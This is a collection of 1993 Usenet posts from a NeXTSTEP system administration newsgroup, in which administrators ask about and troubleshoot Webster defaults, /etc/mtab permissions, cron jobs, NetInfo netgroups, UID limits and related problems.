stumped on the screen dimming (outside of the preferences available). -- John A. Mastrolia (Politically, Fashionably, and Aerodynamically Incorrect) outland!jmast@ms.uky.edu
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.software From: aherskow@alleg.edu Subject: Webster Frames Default Problem Message-ID: <1993Feb17.144907.27403@pellns.alleg.edu> Sender: news@pellns.alleg.edu Organization: Allegheny College Date: Wed, 17 Feb 1993 14:49:07 GMT Recenlty we have been having problems with the Websters Frames default getting corrupted somehow. When you run Websters, the menu appears, but the window just appears as a small vertical black line in the lower left corner of the screen. If you quit Wesbsters, do a "dremove Webster Frames" and restart Websters, it works correctly. I removed all of our users Webster Frames defaults last week, but already the problem is surfacing again. Has anyone seen this before, or have any idea what could be causing it? Thanks in advance for any help, Aaron -- Aaron Herskowitz Systems Manager, Technical and Network Services Allegheny College, Meadville, Pennsylvania [aherskow@alleg.edu NeXTmail Welcomed]
From: nevai@mps.ohio-state.edu (Paul Nevai) Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware Subject: Tecor ???? (a hard disk company) Date: 17 Feb 1993 19:55:16 GMT Organization: Department of Mathematics, The Ohio State University Sender: Paul Nevai Distribution: world Message-ID: <1lu574$nv@zaphod.mps.ohio-state.edu> Originator: nevai@ops.mps.ohio-state.edu I called Tecor today with a question and I was told "call back next week because we are going through a reorganization". What the heck is this? Is it what I think it is? I hope not because I bought a hard disk from them a few months ago and it's warranted (by HP too, I guess) for 5 yrs. Any ideas? Take care...Paul Paul Nevai nevai@mps.ohio-state.edu Dept Math - Ohio State University 1-614-292-3317 (Office) Columbus, Ohio 43210-1174, U.S.A. 1-614-292-1479 (Math Dept Fax)
Newsgroups: comp.sys.next.sysadmin From: buck@siswat.hou.tx.us (Lester Buck) Subject: Help - losing print requests, need .rhosts magic Message-ID: <1993Feb17.043609.1369@siswat.hou.tx.us> Organization: Photon Graphics Date: Wed, 17 Feb 1993 04:36:09 GMT Our lab has a lonely, underutilized NeXT in a mixture of RS/6000s and Suns. We have an original cube with the original NeXT software release. One major use of the NeXT system is as a PostScript print server, basically through "rsh lpr". I have two irritating problems with this system and I would appreciate it if anyone could help. I have read the FAQ list and couldn't find anything on these topics. 1. If the NeXT runs out of paper, a window pops up on the console. If the printer is not fed in some period on the order of an hour, the print manager dumps the queue. This is, of course, extremely objectionable when being used as a print server! Is there some way to force the print manager to wait forever for more paper, and never delete jobs? 2. At some point in the past, I was able to configure the .rhosts files to allow easy rlogins within our lab. Unfortunately, I forgot what I changed and I cannot add anymore machines to the .rhosts file. Or, rather, I can add all the machines I want, but the NeXT ignores the entries. Searching for .rhosts in digital librarian reveals little, and the niload/nidump utilities do not seem to store any .rhosts information. What is the trick to getting .rhosts changes recognized by the NeXT? Thanks alot! -- A. Lester Buck buck@siswat.hou.tx.us ...!uhnix1!siswat!buck
From: nelson@nextwork.Rose-Hulman.Edu (Randy J. Nelson) Newsgroups: comp.sys.next.sysadmin Subject: NS 3.0 bug? -- /etc/mtab permission changed Date: 17 Feb 1993 20:26:08 GMT Organization: Computer Science Department at Rose-Hulman Message-ID: <1lu710INNmjf@master.cs.rose-hulman.edu> Here at Rose-Hulman we've notice a problem that has been occuring while using NeXTSTEP 3.0 machines. It appears that if you are using a DOS floppy the permissions on /etc/mtab will occasionally get changed to 660. This prevents commands such as 'df' from working for general users. Has anyone else noticed this problem? -- -Randy Nelson Workstation Support Manager Rose-Hulman Institute of Technology Email: Randy.Nelson@Rose-Hulman.Edu
From: sears@tree.egr.uh.edu (Paul S. Sears) Newsgroups: comp.sys.next.sysadmin Subject: Re: problem with access denial Date: 17 Feb 1993 15:39:58 GMT Organization: University of Houston Message-ID: <1ltm8eINNbut@menudo.uh.edu> References: <1lrs42INNf14@tamsun.tamu.edu> In article <1lrs42INNf14@tamsun.tamu.edu> rse8135@dewie.tamu.edu (R.S. Etheredge) writes: #Howdee NeRDs, #I am in deep you-know-what. I have five NeXT computers on a NetInfo #network. One of these computers is acting very strangely. He won't let some #bonafied user accounts access their WordPerfect files, whether new or old. #It is disconcerting, for I have gone all over this system to set #permissions correctly. To read the permissions, whether from root, and #whether from the terminal or NextStep, or whether from the affected #accounts, is to see that all the permissions are in place correctly. We can #go to any of the other four computers on the NetInfo network, and access #the files, regardless of account, just like we're s'posed to be abel to do. #Can somebody point me at something I can turn over, or an intestine to #squiggle around, so I can fix this? Thanks for your attention, and have a #happy day... #Rusty Etheredge #rse8135@dewie.tamu.edu Are thses user files located on an NFS mounted disk? If so, then check the exports in /etc/exports (NS2.x) or with nidump exports /yourserverdomainhere to see if that client can mount the directory properly. If you have some other arrangement, then please elaborate. -- Paul S. Sears * sears@uh.edu (NeXT Mail OK) The University of Houston * suggestions@tree.egr.uh.edu (NeXT Engineering Computing Center * comments, complaints, questions) NeXT System Administration * DoD#1967 '83 NightHawk 650SC >>> SSI Diving Certification #755020059 <<< "Programming is like sex: One mistake and you support it a lifetime."
Newsgroups: comp.sys.next.sysadmin From: cedman@princeton.edu (Carl Edman) Subject: Re: Bash1.12 on 3.0 In-Reply-To: root@hi_presure_lab.gp.uwo.ca's message of Wed, 17 Feb 1993 02:39:14 GMT To: root@hi_presure_lab.gp.uwo.ca (Operator) Message-ID: <CEDMAN.93Feb17084437@capitalist.princeton.edu> Originator: news@nimaster Sender: news@Princeton.EDU (USENET News System) Organization: Princeton University References: <1993Feb17.023914.6697@julian.uwo.ca> Date: Wed, 17 Feb 1993 12:44:37 GMT In article <1993Feb17.023914.6697@julian.uwo.ca> root@hi_presure_lab.gp.uwo.ca (Operator) writes: When compiling bash1.12 I get the following error cc -g -L./lib/readline/ -L./lib/glob/ -o bash shell.o y.tab.o general.o make_cmd.o print_cmd.o dispose_cmd.o execute_cmd.o variables.o copy_cmd.o error.o expr.o flags.o jobs.o subst.o hash.o mailcheck.o test.o trap.o alias.o braces.o unwind_prot.o version.o bashline.o builtins/libbuiltins.a -lreadline -ltermcap -lglob /bin/ld: Undefined symbols: _ulimit *** Exit 1 Stop. *** Exit 1 Stop. Any quick solutions to this problem? Put '#define HAVE_RESOURCE' somewhere between '#if defined(NeXT)' and the following '#endif' in machines.h. Carl Edman PS: Zsh is still better than Bash ! :-)
From: pyrros@ulysses.att.com (Christos T. Pyrros) Newsgroups: comp.sys.next.sysadmin,comp.sys.next.software Subject: Perl 4.035 for NeXT? Message-ID: <1993Feb17.190253.10550@ulysses.att.com> Date: 17 Feb 93 19:02:53 GMT Organization: AT&T Bell Laboratories, Murray Hill Has anyone compiled Perl 4.035 (or later) for the NeXT? If so, could you please post it somewhere? Thank you, Chris
From: sears@tree.egr.uh.edu (Paul S. Sears) Newsgroups: comp.sys.next.sysadmin Subject: Re: More user questions.... Date: 17 Feb 1993 15:50:18 GMT Organization: University of Houston Message-ID: <1ltmrqINNcsp@menudo.uh.edu> References: <1lrskiINNhg@usenet.INS.CWRU.Edu> In article <1lrskiINNhg@usenet.INS.CWRU.Edu> cew6@po.CWRU.Edu (Carlin E. Wiegner) writes: # #2) Two easy ones for you guys....What do Host Manager and NetInfo #Manager do? # HostManager.app allows for painless configuration of clients in a cluster. One machine will generally be the NetInfo "Master" (like NIS master) and the clients will get all their network information from this master. Information such as hosts (/etc/hosts), users/passwords (/etc/passwd), ntp service, printers (/etc/printcap), etc. Netinfo is basically YP/NIS in a database format. All the flatfiles (/etc/whatever) were moved into NetInfo for easier management. NetInfoManager.app is a powerful app that allows almost direct access to the NetInfo database via the NeXTSTEP interface. You can also access NetInfo with niutil, nidump, niload, etc... Anyway, NetInfoManager can be a dangerous tool and you can easily hose your database if you manage to play with the wrong property. The other NetInfo utilities have specializes uses, while NetInfoManager is a general access tool. I suggest that you examine chapter 3: NetInfo Networking in the NeXTSTEP Network and System Administration book (NS 3.0) or look in /NextLibrary/Documentation/NextAdmin/03_SetUpNet for more information. -- Paul S. Sears * sears@uh.edu (NeXT Mail OK) The University of Houston * suggestions@tree.egr.uh.edu (NeXT Engineering Computing Center * comments, complaints, questions) NeXT System Administration * DoD#1967 '83 NightHawk 650SC >>> SSI Diving Certification #755020059 <<< "Programming is like sex: One mistake and you support it a lifetime."
Newsgroups: comp.sys.next.sysadmin From: matt%mattcube@concert.net (Matthew M. Stecker) Subject: 3.0 OD Message-ID: <1993Feb17.233824.362@mattcube> Sender: matt@mattcube Organization: UNC School of Law, CC for NeXT Computer, Inc. Date: Wed, 17 Feb 1993 23:38:24 GMT Has anyone made a 3.0 OD? I ran BuildDisk under 3.0 (from my internal drive), and it seemed to know about OD's just fine. The build completed succesfully. I then tried to boot with 'bod', but it gets only as far as "starting RPC and network daemons", then hangs. An interesting piece of evidence: When I do "bod -s", a message pops up telling me that I've just booted from a CD-ROM drive, and gives me some tips for working from a R/O file system. Sure enough, I can't write anything. My CD-ROM drive is not even around. The "lock" button on the OD is not locked. Anyone had better luck at this? I'm sort of desparate. Matthew Stecker -- matt stecker | This is my NeXT Computer NeXT Campus Consultant, | There are many like it, UNC School of Law | but this one is mine.
Newsgroups: comp.sys.next.sysadmin From: Michael_Pizolato@afs.com (Michael Pizolato) Subject: Netgroups Message-ID: <1993Feb17.220123.973@afs.com> Sender: michael@afs.com Date: Wed, 17 Feb 1993 22:01:23 GMT Where are netgroups stored in the netinfo database? I used HostManager to place a number of our machines in a netgroup, and the definitions appeared in the "machines" directory entries for the individual machines. Then, I set root access in NFSManager on one of the machines to the netgroup instead of a list of the individual machines (the docs say you can do this). When I tried to save the new export definition I got a warning that the netgroup name was an unrecognized _host_ name. The only reference I could find for creating netgroups in netinfo was to add them to individual machines in HostManager. There doesn't appear to be anything about creating the netgroup itself in a separate operation. Any help will be greatly appreciated. Thanx, Michael -- Michael_Pizolato@afs.com ~18 kyu Q16 NeXTMail appreciated
Newsgroups: comp.sys.next.software,comp.sys.next.sysadmin From: aherskow@alleg.edu Subject: SUMMARY: Webster Frames Default Problem Message-ID: <1993Feb18.142436.23142@pellns.alleg.edu> Sender: news@pellns.alleg.edu Organization: Allegheny College References: <1993Feb17.144907.27403@pellns.alleg.edu> Date: Thu, 18 Feb 1993 14:24:36 GMT My original posting is at the end of this message. Thanks to all those that responded. What we determined was if you run Websters on both 2.x and 3.0, you will have this problem. If you run Websters on a 2.x machine, your Frames default looks like this: Webster Frames 15,100,515,345,2,71,267 Then, if you run it on a 3.0 machine, it "upgrades" the Frames default to: Webster Frames "164 125 536 391 " Now, the problem arises when you go back to 2.x and run Websters. Websters doesn't understand the 3.0 format and resets puts garbage in it. Webster Frames 80,0,0,0,2,1,42 I am not sure what each individual integer stands for, but you can see the problem. Note that these defaults are only saved when you quit Websters. The only fix we know is to do a "dremove Webster Frames". If anyone else comes up with a better fix, please let me know. -- Aaron Herskowitz Systems Manager, Technical and Network Services Allegheny College, Meadville, Pennsylvania [aherskow@alleg.edu NeXTmail Welcomed] My original posting for anyone that is interested: > Recenlty we have been having problems with the Websters Frames default > getting corrupted somehow. When you run Websters, the menu appears, but > the window just appears as a small vertical black line in the lower left > corner of the screen. If you quit Wesbsters, do a "dremove Webster > Frames" and restart Websters, it works correctly. I removed all of our > users Webster Frames defaults last week, but already the problem is > surfacing again. > > Has anyone seen this before, or have any idea what could be causing it? >
Newsgroups: comp.sys.next.sysadmin From: blommer@hertz.eecs.umich.edu (Michael Alan Blommer) Subject: problem with uids Message-ID: <1993Feb18.163828.10408@zip.eecs.umich.edu> Keywords: uid Sender: news@zip.eecs.umich.edu (Mr. News) Organization: University of Michigan EECS Dept., Ann Arbor, MI Date: Thu, 18 Feb 1993 16:38:28 GMT I've experienced the following problem when adding a new user to our network: When the uid is larger than about 32000, all of the files and directories that should be owned by the user show up as being owned by a NEGATIVE uid. For example, if I create Username: temp User ID: 34170 the home directory for temp shows that it is owned by -31366, not temp or 34170. However, if I change the uid to 3417, everything is fine. Has anyone experienced this? Is there a fix? I haven't seen any documentation on this. Thanks, Mike
From: nelson@nextwork.Rose-Hulman.Edu (Randy J. Nelson) Newsgroups: comp.sys.next.sysadmin Subject: Re: NS 3.0 bug? -- /etc/mtab permission changed Date: 18 Feb 1993 17:49:43 GMT Organization: Computer Science Department at Rose-Hulman Message-ID: <1m0i7nINNrdu@master.cs.rose-hulman.edu> References: <1lu710INNmjf@master.cs.rose-hulman.edu> In article <1lu710INNmjf@master.cs.rose-hulman.edu> nelson@nextwork.Rose-Hulman.Edu (Randy J. Nelson) writes: > > Here at Rose-Hulman we've notice a problem that has been occuring > while using NeXTSTEP 3.0 machines. It appears that if you are using a DOS > floppy the permissions on /etc/mtab will occasionally get changed to 660. > This prevents commands such as 'df' from working for general users. > > Has anyone else noticed this problem? > > > -- > -Randy Nelson > Workstation Support Manager > Rose-Hulman Institute of Technology > Email: Randy.Nelson@Rose-Hulman.Edu > I just heard from NeXT Tech Supp. Apparently this is a known bug under NeXTSTEP 3.0. -- -Randy Nelson Workstation Support Manager Rose-Hulman Institute of Technology Email: Randy.Nelson@Rose-Hulman.Edu
Newsgroups: comp.sys.next.sysadmin From: kelley@kiwi.ATMOS.ColoState.Edu (Kelley Wittmeyer) Subject: crontab and cron problems? Sender: news@yuma.ACNS.ColoState.EDU (News Account) Message-ID: <Feb18.174617.69222@yuma.ACNS.ColoState.EDU> Date: Thu, 18 Feb 1993 17:46:17 GMT Organization: Colorado State University, Fort Collins, CO 80523 Keywords: crontab cron i execute about 9 of my own scripts from cron, the entries, of course, being in /etc/crontab. the latest 5 i added are not being run, i have noticed. i can run them myself from the command line so they are not erroring out. i cannot find any messages to why they are not run. anyone have a clue? i'd appreciate any help. thanks! kelley wittmeyer dept of atmospheric science colorado state university
Newsgroups: comp.sys.next.sysadmin From: "Steve Hayman" <sahayman@cs.indiana.edu> Subject: Re: crontab and cron problems? Message-ID: <1993Feb18.143735.5628@news.cs.indiana.edu> Keywords: crontab cron Organization: Objectario References: <Feb18.174617.69222@yuma.ACNS.ColoState.EDU> Date: Thu, 18 Feb 1993 14:37:25 -0500 A couple of possibilities why crontab jobs aren't executing... PATH problems. Jobs executed from /etc/crontab have their $PATH set to /bin:/usr/bin - so if you don't you use a full pathname in the crontab, or you don't reset the pathname in a shell script, your program won't see things in /usr/ucb, /usr/local/bin, or other various places that will work when you run from the command line. I'd use a full pathname in the crontab, like this 00 * * * * root /usr/ucb/foobar and if I was trying to execute a /bin/sh script from within cron, I would make sure that the script contained a line like this PATH=/usr/local/bin:/usr/ucb:/bin:/usr/bin export PATH Syntax problems. Cron is very picky about the format of the command line in /etc/crontab, and will silently not do anything if it sees a line it doesn't like. Many times I've done something like this 00,15,30,45 * * * root /usr/local/bin/do-something and scratched my head as to why nothing was happening. The answer in this case is that there aren't enough fields. What I meant to type was ... 00,15,30,45 * * * * root /usr/local/bin/do-something Hope this helps, Steve uunet.ca!objectar!shayman
Newsgroups: comp.sys.next.misc,comp.sys.next.sysadmin From: matt%mattcube@concert.net (Matthew M. Stecker) Subject: Mac Floppy Problem. Message-ID: <1993Feb18.201005.458@mattcube> Sender: matt@mattcube Organization: UNC School of Law, CC for NeXT Computer, Inc. Date: Thu, 18 Feb 1993 20:10:05 GMT Help !! I'm running 3.0 on 2 machines. One is a NSC 16/400. The other is a '040 cube, with a CubeFloppy 2.9 External floppy drive. My problem is that both machines seem to have forgotten about Macintosh Disks. I was using MAC disks on both machines with no problem, and now, I'm out of luck. When I put in a blank "HD", disk and get to the format panel, I can only chose between NeXT and DOS formatting, no Mac. When I put in a HD macintosh disk (just written on my mac), it comes up as unreadable, and asks me if I want to format (in Dos or NeXT format only, of course. . . ). Clues I have so far: What I can't figure out is why both machines are doing this. The NSC was built from the Cube over the net. I changed the permissions on /etc/mtab by hand in the rc.local file, because inserting DOS floppies was changing them around so as to make my /usr/lib/newsbin/expire/doexpire script not work. Go figure. I also see a white bar, about .5" wide running horizontally through the center of the Recycler Icon. Go figure. ANY help would be appreciated. I really need to read some mac disks. Matthew Stecker -- matt stecker | This is my NeXT Computer NeXT Campus Consultant, | There are many like it, UNC School of Law | but this one is mine.
From: bryce_jasmer@next.com (Bryce Jasmer) Newsgroups: comp.sys.next.software,comp.sys.next.sysadmin Subject: Re: NEW PRODUCT: Lighthouse Design Ships Diagram! 2 Message-ID: <6830@rosie.NeXT.COM> Date: 18 Feb 93 20:12:06 GMT References: <1993Feb6.221749.928@cubetech.com> Sender: news@NeXT.COM Followup-To: comp.sys.next.software Wiley Hodges writes > >Lighthouse Design Ships Diagram! 2, Information Graphics for NeXTSTEP > >- Documented Text File Format (NEW! in 2.0) > Allows technical users to access drawing data through custom > applications, scripts, etc. This is a really killer feature of Diagram that I have been playing around with. We use Cisco routers for out networking and often make changes in our network making it hard to keep the router documentation up to date. Using the new version of Diagram!, SNMP, and Perl, I am able to query what interfaces are on a router, what subnets are on those interfaces, and generate a small diagram of what is on that router. (Note, this does NOT generate a big network map, this might happen in the future, but the stuff I have now doesn't do that.) My perl scripts aren't quite done yet and have been put on the back burner for a couple of weeks, but if anyone wants to see them when they are workable, send me some mail and I'll send something back when I'm ready. If you want to help out and possibly enhance the scripts, let me know. The requirements are that you have Cisco routers running SNMP (actually, I think other routers running SNMP might also work but I don't have any to test on.) You also need to have perl installed and of course you have to have Diagram!2 which of course means you must be running NeXTSTEP Release 3. Thanks, Bryce Jasmer Network Administrator NeXT Computer, Inc.
Newsgroups: comp.sys.next.sysadmin From: francisr@stupid.ucs.indiana.edu (Rob Francis) Subject: Help not implemented in any Apps? Message-ID: <C2nwp3.C7w@usenet.ucs.indiana.edu> Sender: news@usenet.ucs.indiana.edu (USENET News System) Organization: Indiana University Date: Thu, 18 Feb 1993 20:53:25 GMT I don't know why this is. I've upgraded several machines to 3.0 from 2.1. None of them have the new fancy-dancy help that is suppose to be great about 3.0. When I go to Info/Help in Workspace or Mail.crap, I get a panel which reads, "This application doesn not implement NextStep Help". However, I know people that have 3.0 NextStep help in both of the afore mentioned apps. Has anyone else seen this? -rob --- Rob Francis Unix Systems Specialist, Indiana University francisr@indiana.edu (812)855-0327
From: cartley@dix.Mines.Colorado.EDU (Craig Artley) Newsgroups: comp.sys.next.sysadmin Subject: Re: Netgroups Message-ID: <1993Feb18.201608.21739@slate.mines.colorado.edu> Date: 18 Feb 93 20:16:08 GMT References: <1993Feb17.220123.973@afs.com> Sender: news@slate.mines.colorado.edu Organization: Colorado School of Mines In article <1993Feb17.220123.973@afs.com> Michael_Pizolato@afs.com (Michael Pizolato) writes: > individual machines. Then, I set root access in NFSManager on one of > the machines to the netgroup instead of a list of the individual > machines (the docs say you can do this). Do they? I tried to do this also, but I determined that you were only allowed to set root access by explicit hostname, not netgroup. Regular access can be specified by netgroup, though. -- Craig Artley cartley@mines.colorado.edu (303) 273-3479 Geophysics Dept., Colorado School of Mines, Golden, CO 80401
From: tye@elvis.mit.edu (Tye Brady) Newsgroups: comp.sys.next.sysadmin Subject: loginwindow port error Date: 18 Feb 1993 23:10:17 GMT Organization: Massachvsetts Institvte of Technology Message-ID: <1m150pINNobh@senator-bedfellow.MIT.EDU> Keywords: login,admin,3.0 After rebooting the computer does not invoke the WindowServer. I see this in /usr/adm/messages loginwindow[185]: loginwindow: could not find WindowServer port! I am running 3.0 and get to the console by messing with /etc/ttys but then I lose my printer. I can also get to it by booting single user or just by rsh'elling over to it once the boot process seems complete. Problem then is I can't su as root, when before I could. Seems like all of netinfo is somehow goofed. puzzled, tye
Newsgroups: comp.sys.next.sysadmin From: sherlock@holmes.bsd.uchicago.edu (John R. Avery) Subject: cursor-blink-rate Message-ID: <1993Feb18.194204.26980@midway.uchicago.edu> Sender: news@uchinews.uchicago.edu (News System) Organization: University of Chicago Computing Organizations Date: Thu, 18 Feb 1993 19:42:04 GMT I want to know how, if possible, to change the cursor-blink-rate on a NeXTstation (Turbo non-color, in case it matters). Specifically, I'm hoping to make it faster. Please help. Thanks. --Sherlock
Newsgroups: comp.sys.next.sysadmin From: lemson@ux1.cso.uiuc.edu (David Lemson) Subject: Re: Reboot after a crash? How? Message-ID: <C2oEx3.HIF@ux1.cso.uiuc.edu> Keywords: reboot crash nextstep 2.2 Organization: University of Illinois at Urbana References: <C2K0Fw.LAH@news.cis.umn.edu> Date: Fri, 19 Feb 1993 03:26:48 GMT lindner@danzig.micro.umn.edu (Paul Lindner) writes: >We have some NeXTstations that get the crap beaten out of them network >wise... Eventually they run out of mbufs or the swapfile goes outta >control. >The result is a crash. Unfortunately NeXTstep doesn't automatically >reboot. This requires human intervention.. (Nothing like getting >beeped on valentines day during dinner, so romantic :-) I don't know what you mean by get the crap beaten out of them, but if the swapfile grows out of control, you might have a memory leak. (Esp if people aren't loading large images or other things that you would expect to cause a large swapfile). The vm_stat command is very helpful to tell you free memory, and the ps command will show you how much memory various processes are using. When machines fill up their root partition due to swapfile, they do generally just panic, you're right. You could run a job in cron that checks a df on your swapfile partition, then checks that it's the swapfile that's causing the problem, and reboots it before it gets to 100% and the machine more or less halts. Rebooting will trim the swapfile back to the size set in swaptab. swaptab(5) may have some info that helps you. -- David Lemson (217) 244-1205 University of Illinois NeXT Campus Consultant / CCSO NeXT Lab System Admin Internet : lemson@uiuc.edu UUCP :...!uiucuxc!uiucux1!lemson NeXTMail & MIME accepted BITNET : LEMSON@UIUCVMD
Newsgroups: comp.sys.next.sysadmin From: lemson@ux1.cso.uiuc.edu (David Lemson) Subject: Re: NS 3.0 bug? -- /etc/mtab permission changed Message-ID: <C2oF34.I4A@ux1.cso.uiuc.edu> Organization: University of Illinois at Urbana References: <1lu710INNmjf@master.cs.rose-hulman.edu> Date: Fri, 19 Feb 1993 03:30:25 GMT nelson@nextwork.Rose-Hulman.Edu (Randy J. Nelson) writes: > Here at Rose-Hulman we've notice a problem that has been occuring >while using NeXTSTEP 3.0 machines. It appears that if you are using a DOS >floppy the permissions on /etc/mtab will occasionally get changed to 660. >This prevents commands such as 'df' from working for general users. >Has anyone else noticed this problem? Yes, this is a known 'bug.' I think it happens especially when floppies are ejected. (I'm not sure on the details of how it happens) The fix is a cron job that resets the permissions periodically. Such as: (in your /etc/crontab.local) 05,18,39,52 * * * * root /bin/chmod 644 /etc/mtab And then send your cron daemon a SIGHUP. -- David Lemson (217) 244-1205 University of Illinois NeXT Campus Consultant / CCSO NeXT Lab System Admin Internet : lemson@uiuc.edu UUCP :...!uiucuxc!uiucux1!lemson NeXTMail & MIME accepted BITNET : LEMSON@UIUCVMD
Newsgroups: comp.sys.next.sysadmin From: bosborne@insect.berkeley.edu Subject: Odd internal behavior Message-ID: <9302190335.AA16484@insect.Berkeley.EDU> Sender: daemon@magnus.acs.ohio-state.edu Organization: The Ohio State University Date: Fri, 19 Feb 1993 03:35:03 GMT To the Group, I'm (still) the happy owner of a mono Station, running 3.0, perhaps you can help me? I bought an 8/105, then added a Fujitsu 525, which is now sd0, and the 105 internal is sd1 (formatted as 'swapdisk'). Attached to the Fujitsu is a TEAC MT-2ST/F50 tape drive (from Relax). The tape drive is rst0, scsi id 3, and it's terminated. If I start up and the tape drive is ON there are no problems. But, if I boot and it's OFF I get 'label checksum error' referr ing to the internal 105. Then the Workspace Manager asks if I want to initialize the internal as it's unrecognizable. This behavior is completely reproducible! I've seen it many times. Can someone explain this to me? Thank you for your attention to this matter, ------------------------------------------------------------------ Brian Osborne Plant Gene Expression Center bosborne@insect.berkeley.edu Albany CA USA "Computers are useless. They can only give you answers." Picasso ------------------------------------------------------------------
From: statman@stat.ufl.edu (charles d. kincaid) Newsgroups: comp.sys.next.sysadmin Subject: customizing shell files NeXT vs X11 Date: 19 Feb 1993 03:43:44 GMT Organization: University of Florida College of Engineering Distribution: world Message-ID: <1m1l1gINN2t9@bigguy.eng.ufl.edu> Keywords: bash, X11, shell Hello, I use bash inside Stuart on a NeXTstation running NS2.1. I have Stuart set up to display the current directory in the title bar (cool!). Now when I run mouseX (X11R4 from MIT) I get screwy title bars since xterm is not Stuart. Is there a way to check something (I'm not sure what) to know whether or not to set the title bars this way? Any and all help is appreciated. -- Sincerely, charles d. kincaid statman@stat.ufl.edu <-------- PLEASE reply to this address ------------------------------------------------------------------------------ Dept. of Statistics 'Damn fine coffee...and hot, too!' University of Florida
Newsgroups: comp.sys.next.sysadmin From: bill@ganesha.cognet.ucla.edu (William M. Eldridge) Subject: Re: Next NFS server upgrade Message-ID: <1993Feb19.031342.16288@cognet.ucla.edu> Sender: news@cognet.ucla.edu Organization: UCLA Cognitive Science Research Program References: <C2FADo.Fts@ms.uky.edu> Distribution: na Date: Fri, 19 Feb 1993 03:13:42 GMT > -> > >My question is, with such a configuration, is upgrading to a Turbo > -> > >likely to help? It's quite possible that the machine is disk-bound, > -> > >in which case increasing the CPU speed won't significantly help. > -> > > -> > You'd likely be better off, for performance and function, to buy a Sun > -> > or some other box for your NFS server if you are really server > -> > performance-bound. If you've got a large, heavy NFS load, having > -> > multiple SCSI buses available will reduce I/O contention on the bus > -> > between multiple drives, as will support for synchronous SCSI > -> > transfers so that each transfer uses the bus for less time. You get > -> > neither of these on a NeXT right now. > -> > > -> Currently we're having trouble using the File Manager on a Solaris 2.1 exported disk, so if you're looking for immediate results, this one isn't happening. -- Bill Eldridge bill@cognet.ucla.edu *** He who remembers the past is condemned to misread it. *** - George Santana
From: sears@tree.egr.uh.edu (Paul S. Sears) Newsgroups: comp.sys.next.sysadmin Subject: Re: Netgroups Date: 18 Feb 1993 16:35:36 GMT Organization: University of Houston Message-ID: <1m0dsoINNr6r@menudo.uh.edu> References: <1993Feb17.220123.973@afs.com> In article <1993Feb17.220123.973@afs.com> Michael_Pizolato@afs.com (Michael Pizolato) writes: #Where are netgroups stored in the netinfo database? I used #HostManager to place a number of our machines in a netgroup, and the #definitions appeared in the "machines" directory entries for the #individual machines. Then, I set root access in NFSManager on one of #the machines to the netgroup instead of a list of the individual #machines (the docs say you can do this). When I tried to save the new #export definition I got a warning that the netgroup name was an #unrecognized _host_ name. The only reference I could find for #creating netgroups in netinfo was to add them to individual machines #in HostManager. There doesn't appear to be anything about creating #the netgroup itself in a separate operation. # Well, first off, you can not use netgroups for root access in exports, ie., /General acess=group1:group2:group3,root=host1:host2:host3 (you can not have netgroups in the root access) Secondly, netgroup information is stored under each host in the /machines directory of each domain. If you have a multilevel NetInfo structure, you will need to define netgroups for each host in each level of the domain. The easiest way is to define hosts in one level, and using NetInfoManager, copy the hosts to each domain you want them known in... For example, my machine has the following entry (I used the program nilist to generate this dump of NetInfo): thanatos { ip_address 129.7.4.68; name thanatos.egr.uh.edu; netgroups ee.client uh.client egr.client ecc.client; owner "College of Engineering"; system_type NeXTstation; } As you can see, my machine is a member of various netgroups. #-- #Michael_Pizolato@afs.com #~18 kyu #Q16 #NeXTMail appreciated -- Paul S. Sears * sears@uh.edu (NeXT Mail OK) The University of Houston * suggestions@tree.egr.uh.edu (NeXT Engineering Computing Center * comments, complaints, questions) NeXT System Administration * DoD#1967 '83 NightHawk 650SC >>> SSI Diving Certification #755020059 <<< "Programming is like sex: One mistake and you support it a lifetime."
Newsgroups: comp.sys.next.sysadmin From: jeffo@uiuc.edu (J.B. Nicholson-Owens) Subject: Re: NS 3.0 bug? -- /etc/mtab permission changed Date: Fri, 19 Feb 1993 06:05:43 GMT Message-ID: <C2oM9K.5sC@news.cso.uiuc.edu> References: <C2oF34.I4A@ux1.cso.uiuc.edu> Sender: usenet@news.cso.uiuc.edu (Net Noise owner) Organization: University of Illinois at Urbana David Lemson writes > Yes, this is a known 'bug.' I think it happens especially when > floppies are ejected. (I'm not sure on the details of how it > happens) It's been my experience that whatever your permissions are in Preferences.app, those permissions are what /etc/mtab takes when you eject floppies (perhaps unmounting any filesystem will do this?). > And then send your cron daemon a SIGHUP. Hmmm..that's strange how I've never had to do that with my cron. I just set up the crontab file then wait for the time specified to roll around then whatever I've programmed happens. No big deal though. -- -- Jeff (jeffo@uiuc.edu) -- NeXTmail welcome
Newsgroups: comp.sys.next.sysadmin From: dkinsey@next3.corp.mot.com (Dave Kinsey) Subject: Re: problem with uids Organization: MOTOROLA Date: Thu, 18 Feb 1993 20:55:36 GMT Message-ID: <1993Feb18.205536.13281@schbbs.mot.com> References: <1993Feb18.163828.10408@zip.eecs.umich.edu> Sender: news@schbbs.mot.com (Net News) In article <1993Feb18.163828.10408@zip.eecs.umich.edu> blommer@hertz.eecs.umich.edu (Michael Alan Blommer) writes: > I've experienced the following problem when adding a new user to our network: > > When the uid is larger than about 32000, all of the files and directories that > should be owned by the user show up as being owned by a NEGATIVE uid. For > example, if I create > > Username: temp > User ID: 34170 > > the home directory for temp shows that it is owned by -31366, not temp or > 34170. However, if I change the uid to 3417, everything is fine. > > Has anyone experienced this? Is there a fix? I haven't seen any documentation > on this. > > Thanks, > Mike UIDs are defined as signed-2-byte numbers in UNIX. That means the range of possible UIDs are -32768 to 32767 (or if you prefer binary: 1000 0000 0000 0001 (negative 32768) to 0111 1111 1111 1111 (positive 32767)). You entered in a number that was out of the range which is an error condition so you can expect strange results. Of course, a good (robust) tool would catch the error and not let you enter it, but... - Dave /----------------------------------------------\ | David R Kinsey | | NeXT System Administrator | | DSS: Distributed Systems Services | | | | Motorola Corporate MIS & Telecommunications | | 1299 E Algonquin Rd. | | Schaumburg, IL 60196 | | | | Phone: 708-576-6611 | | Fax: 708-576-3111 | | E-Mail: dkinsey@next3.corp.mot.com | | (NeXT Mail accepted) | \----------------------------------------------/
